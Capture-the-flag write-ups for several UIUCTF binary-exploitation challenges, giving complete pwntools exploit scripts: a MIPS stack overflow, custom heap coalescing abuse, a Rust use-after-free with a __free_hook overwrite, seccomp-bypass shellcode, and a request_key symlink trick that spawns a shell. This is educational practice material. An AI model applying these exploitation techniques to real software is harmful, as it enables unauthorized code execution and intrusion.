I participated in this year's UIUCTF with L3ak and we ended up in 7th place. I only did the PWN challenges and our team ended up AKing the PWN, MinatoTW is goat🐐!
This article contains writeups of all the PWN challenges (except one PWN + Rev) from the event.
Can you turn on the backup generator for the SIGPwny Transit Authority?
75 solves
The challenge was solved by MinatoTW, I just reproduced it and wrote the wp after the event.
checksec
result:
Arch: mips-32-big
RELRO: Partial RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
This is a stack overflow challenge for the mips architecture. I used qemu-mips
to run it and gdb-multiarch
to debug it.
The main logic of the program is:
-
non-developer
(developer
?develper
?devolper
? 3 different spellings in one program XD) users are only allowed to execute theshutdown
andshutup
commands, and have nothing to exploit. -
Logging in as a
developer
user,command
is set totodo
. Calling thedevelper_power_management_portal()
function returns to the process of switching between commands. In this case, there is a stack overflow in thedevelper_power_management_portal()
function which calls thegets()
function.void __cdecl develper_power_management_portal(int cfi) { char buffer[4]; // [sp+18h] [+18h] BYREF int vars20; // [sp+44h] [+44h] gets(buffer); if ( vars20 != cfi ) _stack_chk_fail_local(); }
-
If
command
issystem
, the program splices in the variable on the stack as an argument to thesystem()
function and executes it:if ( !strcmp(command, system_str) ) { sprintf(command_buf, "%s %s %s %s", arg1, arg2, arg3, arg4); system(command_buf); return 0; }
-
Before and after calling the
develper_power_management_portal()
function, the program tries to back up the values of the variables on the stack through registers:But in the
develper_power_management_portal()
function, the program sets the values of the registers to some values on the stack after calling thegets()
function:So it doesn't have the effect of a backup, we can still set
s4, s5, s6, s7
and thusarg1, arg2, arg3, arg4
by stack overflowing to `0x24+var_sC($sp), 0x24+var_s10($sp).
So far, our route to the solution can be summarized as setting command
to system
using a stack overflow and setting arg1
to sh;\x00
, causing the program to execute system("sh")
. It is worth noting that the program has cfi
check turned on, i.e., when the develper_power_management_portal()
function returns, it checks that its return address has not been modified. In this challenge we don't need to hijack the control flow, so just leaving the return address as it is.
Use qemu-mips
to start the program and wait for gdb
to debug remotely:
qemu-mips -g 1234 ./backup-power
Start gdb-multiarch
in another terminal and debug it remotely:
gdb-multiarch ./backup-power
pwndbg> set arch mips
pwndbg> set endian big
pwndbg> target remote :1234
We can use gdb to locate where on the stack the variable we need to modify is located:
pwndbg> b *0x400ee8
pwndbg> c
Type the username devolper
, then type aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa
and let gets()
receive it, and you will see:
Just overwrite command
with system
and arg1
with sh;\x00
, and try to leave the stack as it is where it contains a program address.
Two points to note:
- Return address: the second
0x400b0c
in the above figure. Sincecfi
is turned on, the return address must be left as is. gp
register: the0x4aa30
in the above picture will be put into thegp
register, which will be used to calculate the function offset later, so it can't be modified.
from pwn import *
exe = ELF("./backup-power")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("backup-power.chal.uiuc.tf", 1337, ssl=True)
return r
def main():
r = conn()
r.sendlineafter(b"Username: ", b'devolper')
payload = b"A" * 24 + b"sh;\x00".ljust(12, b"A") + p32(0xdeadbeef) * 2 + p32(0x400b0c)
sp = (
p32(0)*6
+ p32(0x004AA330) # that's gp, we need to keep it
+ p32(0)*5
+ b"devolper".ljust(100, b"\x00")
+ b"devolper".ljust(100, b"\x00")
+ b"system\x00" # overwrite command to system
)
payload += sp
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
i'm tired of hearing all your complaints. pwnymalloc never complains.
65 Solves
This challenge was solved by my teammates and me during the event.
This is a heap challenge, but the heap manager is customised.
The basic functions of the program are:
- submit a complaint (request a heap chunk of usable size 0x48, enter the contents, then the heap is zeroed out and
free
d) - view the complaint (for show, not actually implemented)
- request a refund (request a heap chunk of usable size 0x88, used to hold the
refund_request
structure, can not be directlyfree
d) - check the refund status (print flag when status is
REFUND_APPROVED
)
The refund_request
structure is defined as follows:
typedef struct refund_request {
refund_status_t status;
int amount;
char reason[0x80];
} refund_request_t;
The request refund function will set status
to 0 i.e. REFUND_DENIED
, the other status is 1 i.e. REFUND_APPROVED
, and both amount
and reason
are from user's input.
There is no conventional function to directly set the status
of a structure to REFUND_APPROVED
, so consideration needs to be given to using the custom heap manager to accomplish the modification of this field.
Since heap chunks require 0x10 byte alignment, the structure of a heap chunk may exist in either of the following two ways:
When the heap chunk available size is 0x...8 bytes, the user can write to the 8 bytes where btag
is located. Normally only heap chunks that are free
d will have btag
set, and that's the problem: the available size of the heap chunks in this challenge are all 0x...8 bytes, and in this case the user can control btag
of chunk in use.
The code for free chunk merging in the heap manager is more interesting to me (based on experience with unsorted bin
). Briefly, when free
ing a heap chunk or splitting a large heap chunk, coalesce()
is called to merge the free chunks; the function checks the size and state of the previous and next heap chunks to decide whether to merge or not.
In the case of merging forward chunks, for example, there is the following call chain:
coalesce()->prev_chunk()->get_prev_size()
The get_prev_size()
function is implemented as follows:
static size_t get_prev_size(chunk_ptr block) {
btag_t *prev_footer = (btag_t *) ((char *) block - BTAG_SIZE);
return prev_footer->size;
}
The btag
is located in the last 8 bytes of each heap chunk as shown in the previous section, and the heap manager uses this value to determine the size of the forward free heap chunk. If the forward heap chunk is not free
d, get_prev_size
should normally return 0. However, if we set btag
to a positive number, the heap manager will use this value to locate the size | status
of the forward heap chunk, and then determine whether it is free
d. By constructing a payload, it is possible to modify the btag
of a heap chunk and fill the target size | status
with the appropriate value, inducing the heap manager to merge a contiguous chunk of forward memory, regardless of its state of use.
Let's go over our attack routes:
-
Request 2 heap chunks (both of size 0x90,the following sizes all refer to the actual size of a heap chunk) via the refund request function.
-
Select the second heap chunk as the target (its refund status will be rewritten)
-
Write a
size
larger than 0x90 as abtag
in the last 8 bytes of the second heap chunk(e.g., 0xb0) -
Write a corresponding
size | status
(e.g.0xb0 | 0
to indicate being freed) in the corresponding position (chunk2_addr + 0x90 - 0xb0
) in the middle of the first heap chunk The states of the heap chunks at this point are as follows. -
Submitting a complaint triggers a free chunk merge, which will merge a free heap chunk of size
0xb0 + 0x50
with a start address ofchunk2_addr + 0x90 - 0xb0
-
Call the request refund function again, at this point the starting address of the requested heap chunk is
chunk2_addr + 0x90 - 0xb0
and the size is 0x90 -
This heap chunk spans the first and second heap chunks, and filling it with the appropriate
payload
will writerefund_request->status
in the second heap chunk to 1 i.e.REFUND_APPROVED
. -
Call the check refund status function to get the flag
We have faked a free heap chunk of size 0xb0, be aware that free_list_remove(prev_block)
will be called when merging free chunks, so make the next
and prev
pointers of this fake heap chunk 0 (or a legal address) or else you will get a memory access error.
#!/usr/bin/env python3
from pwn import *
exe = ELF("./chal")
context.binary = exe
def conn():
global r
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("pwnymalloc.chal.uiuc.tf", 1337, ssl=True)
def complain(data):
r.sendlineafter(b"> ", b"1")
r.sendafter(b":", data)
def refund(data):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"refunded:\n", b"0") # why would i refund XD
r.sendafter(b"request:\n", data)
def win(index):
r.sendlineafter(b"> ", b"4")
r.sendlineafter(b"ID:\n", str(index).encode())
def main():
conn()
# fake chunk inside
payload = b'\x00'*0x60 + p64(0xb0) +p64(0)+p64(0) + b'\n'
refund(payload)
# the target chunk we will overflow
payload = b'\x00'*0x78 + p64(0xb0)[:-1]
refund(payload)
# trigger the coalesce
payload = b'BeaCox never complains\n'
complain(payload)
# overwrite the target to make it approved
payload = p64(0)+p64(0)+p64(0x91)+p32(1)+p32(0xdeadbeef) + b'\n' # what about refunding a deadbeef?
refund(payload)
gdb.attach(r)
# win!
win(1)
r.interactive()
if __name__ == "__main__":
main()
The government banned C and C++ in federal software, so we had to rewrite our train schedule management program in Rust. Thanks Joe Biden. Because of government compliance, the program is completely memory safe.
36 Solves
This challenge was solved by my teammates and me during the event.
I've never written a single line of Rust. But I've heard it's a memory-safe language, or is it?
The main functions of the program are as follows:
- Create a Rule or Note
- Delete a Rule or Note
- Read a Rule or Note
- Edit a Rule or Note
- Make a Law
- Exit
This part of the source code is worth noting:
const LEN: usize = 64;
const LEN2: usize = 2000;
const LEN3: usize = 80;
#[inline(never)]
fn get_rule() -> &'static mut [u8; LEN] {
let mut buffer = Box::new([0; LEN]);
return get_ptr(&mut buffer);
}
#[inline(never)]
fn get_law() -> &'static mut [u8; LEN2] {
let mut buffer = Box::new([0; LEN2]);
let mut _buffer2 = Box::new([0; 16]);
return get_ptr(&mut buffer);
}
#[inline(never)]
fn get_note() -> Box<[u8; LEN]>{
return Box::new([0; LEN])
}
Only the get_note()
function does not call get_ptr
, so there must be something here, observe the get_ptr
function:
const S: &&() = &&();
#[inline(never)]
fn get_ptr<'a, 'b, T: ?Sized>(x: &'a mut T) -> &'b mut T {
fn ident<'a, 'b, T: ?Sized>(
_val_a: &'a &'b (),
val_b: &'b mut T,
) -> &'a mut T {
val_b
}
let f: fn(_, &'a mut T) -> &'b mut T = ident;
f(S, x)
}
It's difficult to understand, but chatGPT tells me that the function's purpose is to extend the life cycle of a variable. The difference between get_rule
and get_note
can be observed in gdb:
Obviously, both will request a heap chunk of size 0x50, but the get_ptr()
function will free
this heap chunk and allow us to continue to use this heap chunk, aka UAF (Use After Free).
As shown above, get_law()
also calls get_ptr()
, the difference being that it's larger in size:
const LEN2: usize = 2000;
let mut buffer = Box::new([0; LEN2]);
return get_ptr(&mut buffer);
So free
ing it will put it into the unsorted bin, and its fd
and bk
pointers will point to main_arena
in libc
, resulting in a libc leak
:
Next we need to think about how to utilise the UAF we got.
The version of libc
is 2.31, malloc_hook
and free_hook
can be exploited, and tcache
does not have a safe link
mechanism.
With Write After Free and Read After Free, we can get Arbitrary Write and Arbitrary Read primitives with the Tcache Poisoning method.
We can use Arbitrary Write primitive to overwrite free_hook
as the address of a system
function, then fill in /bin/sh\x00
at the beginning of a heap chunk (note) and free
it, which will trigger system('/bin/sh')
.
#!/usr/bin/env python3
from pwn import *
exe = ELF("./rusty_ptrs")
libc = ELF("libc-2.31.so")
ld = ELF("ld-2.31.so")
context.binary = exe
def conn():
global r
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("rustyptrs.chal.uiuc.tf", 1337, ssl=True)
def create_rule():
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", b"1")
def create_note():
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", b"2")
def delete_rule(index):
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", str(index).encode())
def delete_note(index):
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", str(index).encode())
def read_rule(index):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", str(index).encode())
def read_note(index):
r.sendlineafter(b"> ", b"3")
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", str(index).encode())
def edit_rule(index, content):
r.sendlineafter(b"> ", b"4")
r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", str(index).encode())
r.sendlineafter(b"> ", content)
def edit_note(index, content):
r.sendlineafter(b"> ", b"4")
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", str(index).encode())
r.sendlineafter(b"> ", content)
def make_law():
r.sendlineafter(b"> ", b"5")
def main():
conn()
# r.interactive()
make_law()
libc_leak = int(r.recvuntil(b",", drop=True), 16)
info(f"[L3ak] libc leak: {hex(libc_leak)}")
libc.address = libc_leak - 0x1ecbe0
info(f"[C4lc] libc base: {hex(libc.address)}")
free_hook_addr = libc.symbols['__free_hook']
info(f"[C4lc] free hook addr: {hex(free_hook_addr)}")
system_addr = libc.sym['system']
info(f"[C4lc] system addr: {hex(system_addr)}")
create_note()
create_note()
create_note()
create_note()
delete_note(3)
delete_note(2)
delete_note(1)
delete_note(0)
create_rule()
edit_rule(0, p64(free_hook_addr))
create_note()
create_note()
payload = p64(system_addr)
# gdb.attach(r)
edit_note(1, payload) # overwrite free_hook with system
edit_note(0, b"/bin/sh\x00") # set /bin/sh as argument
delete_note(0) # delete_note wiil trigger free_hook, which will call system("{what's in note}")
r.interactive()
if __name__ == "__main__":
main()
You can't escape this fortress of security.
143 Solves
This problem was solved independently by me during the event.
This is a very simple challenge, the program will execute our input directly as shellcode, but the system calls are restricted by seccomp
. Using seccomp-tools we can clearly see the rules of seccomp
.
seccomp-tools dump ./syscalls
The flag is in a file named flag.txt located in the same directory as this binary. That's all the information I can give you.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x16 0xc000003e if (A != ARCH_X86_64) goto 0024
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x13 0xffffffff if (A != 0xffffffff) goto 0024
0005: 0x15 0x12 0x00 0x00000000 if (A == read) goto 0024
0006: 0x15 0x11 0x00 0x00000001 if (A == write) goto 0024
0007: 0x15 0x10 0x00 0x00000002 if (A == open) goto 0024
0008: 0x15 0x0f 0x00 0x00000011 if (A == pread64) goto 0024
0009: 0x15 0x0e 0x00 0x00000013 if (A == readv) goto 0024
0010: 0x15 0x0d 0x00 0x00000028 if (A == sendfile) goto 0024
0011: 0x15 0x0c 0x00 0x00000039 if (A == fork) goto 0024
0012: 0x15 0x0b 0x00 0x0000003b if (A == execve) goto 0024
0013: 0x15 0x0a 0x00 0x00000113 if (A == splice) goto 0024
0014: 0x15 0x09 0x00 0x00000127 if (A == preadv) goto 0024
0015: 0x15 0x08 0x00 0x00000128 if (A == pwritev) goto 0024
0016: 0x15 0x07 0x00 0x00000142 if (A == execveat) goto 0024
0017: 0x15 0x00 0x05 0x00000014 if (A != writev) goto 0023
0018: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # writev(fd, vec, vlen)
0019: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0023
0020: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0024
0021: 0x20 0x00 0x00 0x00000010 A = fd # writev(fd, vec, vlen)
0022: 0x25 0x00 0x01 0x000003e8 if (A <= 0x3e8) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
We can see that execve
and execveat
are both disabled, so you can't pop a shell directly. open
, read
, write
are also disabled.
Alternative system calls for open
/read
/write
can be found by searching syscall.sh : open
can be replaced by openat
, read
can be replaced by preadv2
, write
can be replaced by pwritev2
. Usage can be found by searching man <syscall name>
:
-
openat()
usageint openat(int dirfd, const char *pathname, int flags); int openat(int dirfd, const char *pathname, int flags, mode_t mode);
If pathname is relative and dirfd is the special value AT_FDCWD, then pathname is interpreted relative to the current working directory of the calling process
openat(AT_FDCWD, '. /flag.txt', 0)
represents opening the. /flag.txt
file in the current working directory. -
preadv2()
和pwritev2()
usagessize_t preadv2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags); ssize_t pwritev2(int fd, const struct iovec *iov, int iovcnt, off_t offset, int flags);
We can search for some examples to understand unfamiliar system calls/functions faster:
char *str0 = "hello "; char *str1 = "world\n"; ssize_t nwritten; struct iovec iov[2]; iov[0].iov_base = str0; iov[0].iov_len = strlen(str0); iov[1].iov_base = str1; iov[1].iov_len = strlen(str1); nwritten = writev(STDOUT_FILENO, iov, 2);
That is,
iov
is an array of structures, the first 8 bytes of each structure is the address to be read/written, and the last 8 bytes is the length to be read/written;iovcnt
is used to indicate the number of elements in the array.Unlike preadv() and pwritev(), if the offset argument is -1, then the current file offset is used and updated.
The flags argument contains a bitwise OR of zero or more of the following flags ...
Setting
offset
to -1 actually lets the system manage the offset for us, andflags
is usually just set to 0.
#!/usr/bin/env python3
from pwn import *
exe = ELF("./syscalls_patched")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("syscalls.chal.uiuc.tf", 1337, ssl=True)
return r
def main():
r = conn()
# openat(AT_FDCWD, "./flag.txt", 0)
# preadv2(3, {"rsp", 0x50}, 1, 0, 0)
# pwritev2(1, {"rsp", 0x50}, 1, -1, 0)
shellcode = asm(
"""
mov rax, 257
mov rdi, -100
mov rsi, 0x7478
push rsi
mov rsi, 0x742e67616c662f2e
push rsi
mov rsi, rsp
xor rdx, rdx
syscall
mov rdi, rax
mov rax, 327
mov r12, rsp
add r12, 0x50
mov r11, 0x50
push r11
push r12
mov rsi, rsp
mov rdx, 1
mov r10, -1
mov r8, 0
syscall
mov rax, 328
mov rdi, 1
syscall
"""
)
# gdb.attach(r, '''
# b *$rebase(0x12d6)'''
# )
print(shellcode)
r.sendline(shellcode)
r.interactive()
if __name__ == "__main__":
main()
I know you can use shellcraft
to construct shellcode, but I just prefer writing on my own XD.
I made it harder ;) Hint: It's not a bug, it's a feature!
8 Solves
Exploit modified from robbert1978's code.
This challenge has a patch on the kernel:
From 1470120abb93fb80ee0ac52feab611418ec957d7 Mon Sep 17 00:00:00 2001
From: YiFei Zhu <zhuyifei@google.com>
Date: Wed, 26 Jun 2024 19:39:11 -0700
Subject: [PATCH] prctl: Add a way to prohibit file descriptor creation
They are avoided by enforcing a failure when the kernel tries to
allocate a free fd. To be extra extra safe, attempting to install
an fd after the point of no return will panic.
Child processes inherit the restriction just like seccomp.
Signed-off-by: YiFei Zhu <zhuyifei@google.com>
---
fs/file.c | 7 +++++++
include/linux/sched.h | 5 +++++
include/uapi/linux/prctl.h | 2 ++
kernel/fork.c | 3 +++
kernel/sys.c | 3 +++
5 files changed, 20 insertions(+)
diff --git a/fs/file.c b/fs/file.c
index 3b683b9101d8..d9562f8bca85 100644
--- a/fs/file.c
+++ b/fs/file.c
@@ -503,6 +503,9 @@ static int alloc_fd(unsigned start, unsigned end, unsigned flags)
int error;
struct fdtable *fdt;
+ if (task_uiuctf_no_fds_allowed(current))
+ return -EPERM;
+
spin_lock(&files->file_lock);
repeat:
fdt = files_fdtable(files);
@@ -604,6 +607,10 @@ void fd_install(unsigned int fd, struct file *file)
struct files_struct *files = current->files;
struct fdtable *fdt;
+ if (task_uiuctf_no_fds_allowed(current))
+ panic("Installing fds is actually not allowed and "
+ "I'm not trying to hide a bypass");
+
if (WARN_ON_ONCE(unlikely(file->f_mode & FMODE_BACKING)))
return;
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 3c2abbc587b4..f4584022dc4c 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -1698,6 +1698,8 @@ static __always_inline bool is_percpu_thread(void)
#define PFA_SPEC_IB_FORCE_DISABLE 6 /* Indirect branch speculation permanently restricted */
#define PFA_SPEC_SSB_NOEXEC 7 /* Speculative Store Bypass clear on execve() */
+#define PFA_UIUCTF_NO_FDS_ALLOWED 10
+
#define TASK_PFA_TEST(name, func) \
static inline bool task_##func(struct task_struct *p) \
{ return test_bit(PFA_##name, &p->atomic_flags); }
@@ -1739,6 +1741,9 @@ TASK_PFA_CLEAR(SPEC_IB_DISABLE, spec_ib_disable)
TASK_PFA_TEST(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable)
TASK_PFA_SET(SPEC_IB_FORCE_DISABLE, spec_ib_force_disable)
+TASK_PFA_TEST(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed)
+TASK_PFA_SET(UIUCTF_NO_FDS_ALLOWED, uiuctf_no_fds_allowed)
+
static inline void
current_restore_flags(unsigned long orig_flags, unsigned long flags)
{
diff --git a/include/uapi/linux/prctl.h b/include/uapi/linux/prctl.h
index 370ed14b1ae0..6075c202ca43 100644
--- a/include/uapi/linux/prctl.h
+++ b/include/uapi/linux/prctl.h
@@ -306,4 +306,6 @@ struct prctl_mm_map {
# define PR_RISCV_V_VSTATE_CTRL_NEXT_MASK 0xc
# define PR_RISCV_V_VSTATE_CTRL_MASK 0x1f
+#define PRCTL_UIUCTF_NO_FDS_ALLOWED 100
+
#endif /* _LINUX_PRCTL_H */
diff --git a/kernel/fork.c b/kernel/fork.c
index aebb3e6c96dc..692c01b13c9a 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -2559,6 +2559,9 @@ __latent_entropy struct task_struct *copy_process(
*/
copy_seccomp(p);
+ if (task_uiuctf_no_fds_allowed(current))
+ task_set_uiuctf_no_fds_allowed(p);
+
init_task_pid_links(p);
if (likely(p->pid)) {
ptrace_init_task(p, (clone_flags & CLONE_PTRACE) || trace);
diff --git a/kernel/sys.c b/kernel/sys.c
index 8bb106a56b3a..5bb16543a565 100644
--- a/kernel/sys.c
+++ b/kernel/sys.c
@@ -2760,6 +2760,9 @@ SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
case PR_RISCV_V_GET_CONTROL:
error = RISCV_V_GET_CONTROL();
break;
+ case PRCTL_UIUCTF_NO_FDS_ALLOWED:
+ task_set_uiuctf_no_fds_allowed(current);
+ break;
default:
error = -EINVAL;
break;
--
2.45.1
The challenge customizes a system call that calling prctl(PRCTL_UIUCTF_NO_FDS_ALLOWED)
prevents alloc_fd()
and fd_install()
from running properly. And a modification to copy_process()
causes a child process of fork
to inherit this property. Thus the expected solution is to use io_uring
to read the flag:
io_uring
doesn't need a new fd itselfio_uring
manages its own fd table and doesn't triggeralloc_fd
andfd_install
I prefer an unintended solution:
Firstly we need to understand the request_key
system call. Referring to manpage, the usage is as follows:
key_serial_t request_key(const char *type, const char *description,
const char *_Nullable callout_info,
key_serial_t dest_keyring);
If the kernel cannot find a key matching type and description, and callout is not NULL, then the kernel attempts to invoke a user-space program to instantiate a key with the given type and description. In this case, the following steps are performed: ... (3) The kernel creates a process that executes a user-space service such as request-key(8) with a new session keyring that contains a link to the authorization key, V. This program is supplied with the following command-line arguments:
[0] The string "/sbin/request-key".
That is, when we specify type
and description
in a way that prevents the kernel from finding the corresponding key
, it will run /sbin/request-key
The route of the unintended solution is:
- set
/sbin/request_key
to be a symbolic link to/init
- set
/chal
to be a symbolic link to/bin/bash
- use the system call
request_key
and pass intype
anddescription
which the kernel does not recognize request_key
will call/sbin/rquest-key->/init
, the new/init
will not have the no_fds filter/init
executesexec /chal->/bin/bash
, popping up the shell
#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"
shellcode = asm("""
lea rdi, [rip + offset init]
lea rsi, [rip + offset request_key]
mov eax, 0x58
syscall
lea rdi, [rip + offset chal]
mov eax, 0x57
syscall
lea rdi, [rip + offset bash]
lea rsi, [rip + offset chal]
mov eax, 0x58
syscall
lea rdi, [rip + offset a]
lea rsi, [rip + offset b]
lea rdx, [rip + offset c]
mov r10, 0xfffffffd
mov rax, 0xf9
syscall
ret
a:
.asciz "user"
b:
.asciz "BeaCox:nonsense"
c:
.asciz "payload:data"
init:
.asciz "/init"
chal:
.asciz "/chal"
request_key:
.asciz "/sbin/request-key"
bash:
.asciz "/bin/bash"
""")
print(shellcode.hex())